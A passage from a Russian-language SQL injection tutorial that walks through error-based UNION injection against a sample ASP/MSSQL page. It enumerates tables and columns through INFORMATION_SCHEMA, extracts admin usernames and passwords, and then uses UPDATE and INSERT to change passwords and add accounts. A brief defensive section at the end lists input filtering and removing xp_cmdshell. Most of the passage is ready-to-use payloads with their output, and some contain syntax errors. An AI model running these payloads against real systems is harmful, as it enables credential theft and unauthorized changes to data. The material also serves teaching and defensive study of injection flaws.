Мы также можем искать данные, используя ключ LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07" Syntax error converting the nvarchar value "admin_login" to a column of data type int. /index.asp, line 5

Соответствующая конструкция "%25login%25" будет заменена на %login% в SQL сервере. В этом случае, мы получим имя таблицы, которая соответствует критерию "admin_login".

6.1 Как узнать все имена столбцов в таблице?

Мы можем использовать таблицу INFORMATION_SCHEMA.COLUMNS, чтобы отобразить все имена столбцов в таблице:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_id" to a column of data type int.
/index.asp, line 5

Теперь, когда мы узнали первое имя столбца, мы можем использовать NOT IN(), чтобы получить имя следующего столбца:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "login_name" to a column of data type int.
/index.asp, line 5

Продолжая, мы получим остальные имена столбцов, т.е. "password", "details", пока не получим следующую ошибку.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name","password",details")--

Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2. Как нам получить нужные нам данные?

Теперь, когда мы идентифицировали некоторые важные таблицы, мы можем использовать ту же самую методику, что бы получить информацию из базы данных.

Давайте получим первый login_name из таблицы "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "neo" to a column of data type int.
/index.asp, line 5

Теперь мы знаем, что есть admin пользователь с именем входа в систему "neo". Наконец, мы можем получить пароль "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "m4trix" to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "neo" с паролем "m4trix".

6.3 Как получить числовое значение строки?

Есть ограничение в методе, описанном выше. Мы не сможем получить сообщение об ошибке, если мы попробуем преобразовать текст, который состоит из числа (только символы между 0...9). Сейчас мы опишем получение пароля "31173" у пользователя "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="trinity"--

Мы вероятно получим ошибку "Page Not Found". Причина в том, что пароль "31173" будет преобразован в число, перед UNION с целым числом (в нашем случае 10). Так как получится правильное UNION выражение, SQL сервер не выдаст сообщение об ошибке, и таким образом мы не сможем получить числовую запись.

Чтобы решить эту проблему, мы можем добавить в конец числовую строку с некоторыми буквами, чтобы преобразование не прошло. Измененный запрос:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

Мы просто используем знак "плюс" (+) для того, чтобы добавить в конец пароль с любым текстом (ASSCII кодирование для "+" = 0x2b). Затем, мы добавим в конец "%20morpheus" в фактический пароль. Поэтому, даже если значение пароля "31173", он станет "31173 morpheus". Вручную вызывая функцию convert(), пытаясь преобразовать " 31173 morpheus" в целое число, SQL Сервер выдаст ODBC сообщение об ошибке:

Microsoft OLE DB Provider for ODBC Drivers error "80040e07"
Syntax error converting the nvarchar value "31173 morpheus" to a column of data type int.
/index.asp, line 5

Теперь мы сможем войти в систему как "trinity" с паролем "31173".

7.0 Как модифицировать/вставить данные в базу данных?

После того, как мы получили имена всех столбцом в таблице, мы сможем обновить(UPDATE) или даже вставить (INSERT) новую запись в таблицу. Например, мы можем изменить пароль для "neo":

http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Чтобы внести (INSERT) новую запись в базу данных:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Теперь мы сможем войти в систему как "neo" с паролем "newpas5".

8.0 Как избежать SQL Injection?

Фильтруйте специальные символы во всех строках в:

Любых данных, вводимых пользователем
- URL параметрах
- Cookie

Для числовых значений, конвертируйте их к integer, перед передачей их к SQL запросу. Или используйте ISNUMERIC, чтобы удостовериться это целое число.

Запускайте SQL сервер как непривилегированный пользователь.

Удалите неиспользуемые сохраненные процедуры: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Новое на сайте

>

Самое популярное